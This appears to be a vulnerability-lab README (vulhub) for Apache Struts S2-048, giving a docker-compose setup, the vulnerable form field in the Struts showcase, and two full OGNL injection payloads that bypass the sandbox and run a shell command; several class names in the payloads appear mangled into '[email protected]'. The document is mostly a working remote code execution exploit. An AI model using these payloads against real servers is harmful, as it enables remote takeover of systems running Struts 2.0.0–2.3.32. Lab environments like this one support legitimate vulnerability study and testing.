S2-048 Remote Code Execution Vulnerablity

中文版本(Chinese version)

Affected Version: 2.0.0 - 2.3.32

Details:

• http://struts.apache.org/docs/s2-048.html
• http://bobao.360.cn/learning/detail/4078.html
• http://xxlegend.com/2017/07/08/S2-048%20%E5%8A%A8%E6%80%81%E5%88%86%E6%9E%90/

Setup

docker-compose up -d

Exploit

This environment is a struts-2.3.32 showcase, in tomcat-8.5. After the environment run, visit the http://your-ip:8080/showcase/ to view struts2 showcase.

Access Integration/Struts 1 Integration:

The OGNL expression vulnerability position is Gangster Name form.

Enter ${233*233} to see the results of the execution:

Refer S2-045's sandbox bypass method, here is my POC:

%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#[email protected]@toString(@[email protected]().exec('id').getInputStream())).(#q)}

Of course, you can also use the POC of s2-045 directly (need Burpsuite):

%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}

Copied From: vulhub/struts2/s2-048